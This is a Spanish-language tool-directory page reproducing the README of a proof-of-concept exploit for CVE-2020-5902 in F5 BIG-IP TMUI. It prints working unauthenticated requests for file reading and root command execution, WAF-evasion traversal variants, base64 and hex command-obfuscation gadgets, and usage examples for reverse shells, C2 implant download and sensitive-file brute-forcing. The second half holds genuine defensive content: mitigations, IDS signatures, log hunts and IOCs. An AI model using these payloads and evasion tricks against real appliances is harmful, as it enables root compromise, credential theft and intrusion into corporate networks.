Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
F5-BIG-IP — El F5 BIG-IP es una plataforma de entrega y seguridad de aplicaciones ampliamente utilizada en entornos corporativos. La CVE-2020-5902 es una vulnerabilidad crítica en el TMUI que, en versiones sin parchear, puede permitir acceso no autorizado y ejecución remota de código, lo que refuerza la necesidad de actualización y gestión continua de vulnerabilidades. | Kitploit
Herramientas/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Ver Repositorio
3hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

El F5 BIG-IP es una plataforma de entrega y seguridad de aplicaciones ampliamente utilizada en entornos corporativos. La CVE-2020-5902 es una vulnerabilidad crítica en el TMUI que, en versiones sin parchear, puede permitir acceso no autorizado y ejecución remota de código, lo que refuerza la necesidad de actualización y gestión continua de vulnerabilidades.

Compartir

CVE-2020-5902 — F5 BIG-IP TMUI RCE

Exploit de prueba de concepto para la vulnerabilidad crítica de path traversal / ejecución remota de código en la Interfaz de Usuario de Gestión de Tráfico (TMUI) de F5 BIG-IP.

⚠️ Solo para pruebas de penetración autorizadas e investigación de seguridad. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso por escrito de probar es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.


Tabla de Contenidos

  • Antecedentes
  • Análisis de la Vulnerabilidad
  • Análisis Técnico en Profundidad
  • Versiones Afectadas
  • Características
  • Instalación
  • Uso
  • Medidas Defensivas
  • Detección y Búsqueda de Amenazas
  • Cronología
  • Referencias
  • Descargo de Responsabilidad

  • Antecedentes

    F5 BIG-IP es una familia de dispositivos de red multipropósito (balanceadores de carga, WAF, controladores de entrega de aplicaciones) desplegados en la mayoría de las empresas Fortune 500, instituciones financieras, organizaciones de salud y agencias gubernamentales de todo el mundo. La Interfaz de Usuario de Gestión de Tráfico (TMUI) — también denominada Utilidad de Configuración — es el portal de gestión basado en web accesible a través del puerto 443 (o 8443).

    En julio de 2020, F5 reveló CVE-2020-5902, una vulnerabilidad Crítica (CVSS 9.8) de path traversal sin autenticación en TMUI que permite a un atacante remoto no autenticado:

    • Leer archivos arbitrarios del sistema Linux subyacente (LFI)
    • Ejecutar comandos arbitrarios del sistema operativo como root (RCE)
    • Comprometer por completo el dispositivo y moverse lateralmente hacia redes internas

    A los pocos días de la divulgación pública, se observó explotación masiva en entornos reales, incluso por parte de actores patrocinados por estados.


    Análisis de la Vulnerabilidad

    Causa Raíz

    TMUI está construido sobre Apache Tomcat y utiliza un filtro de servlets para imponer la autenticación en los recursos protegidos. La vulnerabilidad radica en cómo Tomcat analiza los segmentos de ruta delimitados por punto y coma (;).

    La siguiente solicitud evita la autenticación por completo:

    root@kitploit:~
    GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    

    Por qué funciona:

    1. El filtro de servlets de Tomcat ve la ruta como /tmui/login.jsp (termina antes de ;), que es la página de inicio de sesión pública, y permite la solicitud.
    2. El resolutor de URL de Tomcat procesa entonces /..;/ como un path traversal (/../) antes del envío.
    3. La solicitud finalmente se enruta al servlet protegido fileRead.jsp sin autenticación.
    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────────┐
    │  Client Request                                                   │
    │  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
    └────────────────────────────┬─────────────────────────────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat Servlet Filter       │
                 │  Sees: /tmui/login.jsp  ✓     │
                 │  (public endpoint → ALLOW)    │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat URL Resolver         │
                 │  Resolves: /..;/ → /../       │
                 │  Final path: /tmui/locallb/   │
                 │  workspace/fileRead.jsp ← 🔓  │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │  fileRead.jsp (no auth check) │
                 │  Reads arbitrary files as root│
                 └───────────────────────────────┘
    

    De LFI a RCE

    El servlet tmshCmd.jsp (también accesible mediante el mismo traversal) pasa los parámetros command y utilCmdArgs directamente a tmsh (el shell de gestión de BIG-IP), que envuelve run util bash -c '...'. Esto proporciona ejecución de comandos del sistema operativo a nivel de root sin autenticación:

    root@kitploit:~
    POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
    

    Análisis Técnico en Profundidad

    Flujo de Ataque

    root@kitploit:~
    Phase 1: Reconnaissance
      └─ TCP banner grab (HTTP/TLS fingerprint)
      └─ SSL certificate analysis
      └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
      └─ BIG-IP version estimation from /etc/f5-release
    
    Phase 2: Vulnerability Check
      └─ Iterate over 6 traversal encoding variants
      └─ Test against 4 known-readable sentinel files
      └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
    
    Phase 3: Exploitation
      ├─ Vector A: tmshCmd.jsp (primary RCE)
      │    └─ Command obfuscated via base64 / hex-encode gadgets
      ├─ Vector B: fileRead.jsp + command injection in fileName param
      │    └─ OS command injected into the fileName parameter
      └─ Vector C: Log poisoning (User-Agent injection → read access_log)
    
    Phase 4: Post-Exploitation (optional)
      ├─ Interactive shell (command REPL)
      ├─ Reverse shell (4 concurrent one-liners)
      ├─ LFI brute-force (30 sensitive paths, parallel)
      └─ C2 implant deployment (Sliver / Metasploit / custom)
    

    Variantes de Codificación de Path Traversal

    VariantePayload
    Estándartmui/login.jsp/..;/tmui/...
    Punto y coma codificadotmui/login.jsp/..%3b/tmui/...
    Doble codificación URLtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
    Doble punto Unicodetmui/login.jsp/%2e%2e;/tmui/...
    Variación de mayúsculas/minúsculasTMUI/login.jsp/..;/tmui/...
    Confusión de directoriotmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

    Gadgets de Ofuscación de Comandos

    La herramienta aplica uno de dos gadgets de ofuscación por ejecución, lo que dificulta la detección mediante firmas estáticas:

    root@kitploit:~
    # Gadget 1 — Base64 encode/decode pipeline
    bash -c {echo,aWQ=}|{base64,-d}|bash
    
    # Gadget 2 — Hex-byte printf evaluation
    eval "$(printf '\x69\x64')"
    

    Versiones Afectadas

    Rama BIG-IPRango VulnerableVersión Parcheada
    15.x< 15.1.0.4≥ 15.1.0.4
    14.x< 14.1.2.6≥ 14.1.2.6
    13.x< 13.1.3.4≥ 13.1.3.4
    12.x< 12.1.5.2≥ 12.1.5.2
    11.x< 11.6.5.2≥ 11.6.5.2

    BIG-IQ, BIG-IQ Centralized Management, F5OS y Traffix SDC no se ven afectados por este CVE específico.


    Características

    • Path traversal multivariante — 6 permutaciones de codificación para evadir firmas de WAF/IDS
    • Tres vectores RCE independientes — tmshCmd.jsp, inyección en fileRead, envenenamiento de logs
    • Gadgets de ofuscación de comandos — pipelines de codificación base64 y hexadecimal
    • Fase de reconocimiento pasivo — banner TCP, huella SSL/TLS, análisis de cabeceras HTTP
    • Fuerza bruta LFI paralela — 30 rutas sensibles, 10 hilos concurrentes
    • Reverse shells concurrentes — 4 one-liners lanzados simultáneamente
    • Integración C2 — Sliver, Metasploit, implantes personalizados (Linux/Windows/PS1)
    • Cabeceras de evasión — User-Agents aleatorios, cabeceras de spoofing de IP, cabeceras de ruido
    • REPL de shell interactivo — comandos !revshell, !c2, !read, !brute
    • Soporte de proxy — integración con Burp Suite / mitmproxy

    Instalación

    root@kitploit:~
    git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
    cd F5-BIG-IP
    pip install requests pycryptodome urllib3
    

    Requisitos: Python 3.10+


    Uso

    root@kitploit:~
    python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                            [--cmd CMD] [--shell] [--lfi-brute]
                            [--revshell LHOST LPORT]
                            [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                            target
    

    Ejemplos

    root@kitploit:~
    # 1. Vulnerability check only
    python CVE-2020-5902.py 192.168.1.100
    
    # 2. Custom port + single command execution
    python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
    
    # 3. Interactive shell
    python CVE-2020-5902.py 192.168.1.100 --shell
    
    # 4. LFI brute-force (reads 30 sensitive paths)
    python CVE-2020-5902.py 192.168.1.100 --lfi-brute
    
    # 5. Reverse shell callback
    python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
    
    # 6. Deploy a C2 implant (Sliver example)
    python CVE-2020-5902.py 192.168.1.100 \
      --c2-url http://10.0.0.1:8000/implant \
      --c2-type linux
    
    # 7. Route through Burp Suite for traffic inspection
    python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
    

    Comandos del Shell Interactivo

    Una vez en el modo --shell, están disponibles los siguientes comandos especiales:

    ComandoDescripción
    !revshell <lhost> <lport>Lanza 4 variantes de reverse shell simultáneamente
    !c2 <url> <type> [args]Descarga y ejecuta un implante C2
    !read <path>Lee un archivo arbitrario mediante LFI
    !bruteFuerza bruta sobre 30 rutas sensibles
    !exitFinaliza la sesión
    <any OS command>Ejecuta mediante RCE e imprime la salida

    Medidas Defensivas

    Mitigaciones Inmediatas (si el parcheo aún no es posible)

    1. Bloquear el Acceso a TMUI desde Internet

    La mitigación más eficaz es garantizar que la interfaz de gestión nunca sea accesible desde redes no confiables:

    root@kitploit:~
    # BIG-IP: restrict management access to a dedicated VLAN/IP range
    tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
    tmsh save sys config
    

    Alternativamente, desde la configuración de Self IP de BIG-IP, asegúrate de que el puerto de gestión no tenga una ruta externa.

    2. Aplicar la Mitigación Oficial de F5 (antes del parche)

    F5 publicó un script de mitigación que añade una RewriteRule de Apache para bloquear el patrón de traversal:

    root@kitploit:~
    # /etc/httpd/conf.d/CVE-2020-5902.conf
    RewriteEngine On
    RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
    RewriteRule ^ - [F,L]
    

    Referencia: K52145254 — Pasos de mitigación

    3. Parchear — Aplicar la Versión Corregida

    La solución definitiva es actualizar BIG-IP a una versión parcheada (consulta la tabla de Versiones Afectadas). F5 corrigió la lógica del filtro de servlets para analizar correctamente los segmentos de ruta delimitados por punto y coma antes de aplicar la autenticación.


    Defensas a Nivel de Arquitectura

    Acceso de Red Zero-Trust para Planos de Gestión

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │  RECOMMENDED ARCHITECTURE                                       │
    │                                                                 │
    │  Internet ──────► Firewall ──────► DMZ / Production           │
    │                      │                                          │
    │                      │  (DENY all traffic to mgmt ports)        │
    │                      │                                          │
    │                   Jump Host ──────► BIG-IP TMUI (port 443)    │
    │                 (MFA + VPN)         (management VLAN only)     │
    └────────────────────────────────────────────────────────────────┘
    

    Principios clave:

    • Las interfaces de gestión nunca deben estar en la misma IP/puerto que el tráfico de producción
    • El acceso requiere VPN + MFA antes de alcanzar el host de salto
    • El bloqueo de puertos Self IP de BIG-IP debe establecerse en Allow None o Allow Defaults

    Reglas de Firewall de Aplicaciones Web

    Si hay un WAF delante de la gestión de BIG-IP (poco habitual pero posible en algunas arquitecturas), añade reglas para bloquear:

    • Solicitudes que contengan ; en la ruta de la URL
    • Solicitudes que coincidan con ..; o %3b en los segmentos de ruta
    • Solicitudes a /tmui/locallb/workspace/ desde fuentes ajenas a la gestión

    Lista de Verificación de Endurecimiento de Seguridad

    root@kitploit:~
    [ ] BIG-IP patched to a fixed version
    [ ] TMUI not exposed to the internet (verify with Shodan/Censys)
    [ ] Management VLAN segregated from production
    [ ] Self IP port lockdown configured (Allow None or Allow Defaults)
    [ ] MFA enforced on management access
    [ ] BIG-IP software inventory in asset management system
    [ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
    [ ] Log forwarding to SIEM configured (access_log, audit.log)
    [ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
    [ ] Incident response playbook includes network device compromise scenario
    

    Detección y Búsqueda de Amenazas

    Firmas IDS/IPS (Snort / Suricata)

    root@kitploit:~
    # Detect path traversal attempts (semicolon bypass)
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"..;"; http_uri;
        content:"workspace"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000001; rev:1;
    )
    
    # Detect encoded semicolon variant
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"%3b"; http_uri; nocase;
        content:"fileRead"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000002; rev:1;
    )
    

    Patrón de Log de Apache/HTTPD (grep)

    root@kitploit:~
    # Hunt for traversal attempts in BIG-IP access logs
    grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
    
    # Look for successful hits to the vulnerable endpoints
    grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
      grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
    

    Consulta SIEM (Splunk SPL)

    root@kitploit:~
    index=network sourcetype=f5:bigip:access
      (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
      (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
    | eval risk=if(status=200, "HIGH", "MEDIUM")
    | stats count by src_ip, uri_path, status, risk
    | sort -count
    

    Indicadores de Compromiso (IOCs)

    Patrones de URL:

    root@kitploit:~
    /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    /tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
    

    Objetivos comunes de los atacantes (archivos accedidos):

    root@kitploit:~
    /etc/passwd                  — credential harvesting
    /config/bigip.conf           — VPN/routing config exfiltration
    /config/bigip.license        — license key theft
    /config/bigip_user.conf      — local admin account enumeration
    /root/.bash_history          — historical command reconnaissance
    

    Cronología

    FechaEvento
    2020-06-30Se notifica a F5 de forma privada
    2020-07-01F5 publica el aviso (K52145254) y los parches
    2020-07-03Se publica un PoC público en Twitter
    2020-07-04Múltiples firmas de inteligencia de amenazas observan explotación masiva
    2020-07-06CISA emite la Directiva de Emergencia 20-03 que ordena el parcheo federal
    2020-07-09Se confirma que actores estatales (APT) explotan la vulnerabilidad en entornos reales
    2020-07-15Aproximadamente 8.000 instancias de BIG-IP siguen sin parchear (Shodan)
    2020-08-xxLos grupos de ransomware comienzan a atacar dispositivos BIG-IP sin parchear

    Referencias

    • NVD — CVE-2020-5902
    • Aviso de Seguridad de F5 K52145254
    • Directiva de Emergencia 20-03 de CISA
    • Análisis de Rapid7
    • Cobertura de BleepingComputer
    • Consulta de Shodan: http.title:"BIG-IP" port:443

    Descargo de Responsabilidad

    Esta herramienta se proporciona únicamente con fines educativos y para evaluaciones de seguridad autorizadas. Está destinada a:

    • Probadores de penetración con autorización por escrito del propietario del activo
    • Investigadores de seguridad que estudian la vulnerabilidad en entornos de laboratorio
    • Defensores que crean firmas de detección y configuraciones de endurecimiento
    • Participantes en competiciones CTF (Capture the Flag)

    Usar esta herramienta contra sistemas sin permiso explícito por escrito es un delito penal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act del Reino Unido, la Lei Nº 12.737/2012 de Brasil (Lei Carolina Dieckmann) y las leyes equivalentes en la mayoría de las jurisdicciones del mundo.

    El autor y los colaboradores de este repositorio no aceptan ninguna responsabilidad por cualquier daño, consecuencia legal u otro perjuicio derivado del mal uso de este software.


    Hecho para la comunidad de investigación en seguridad. Parchea tus sistemas. Protege tus redes.

    Descargar herramienta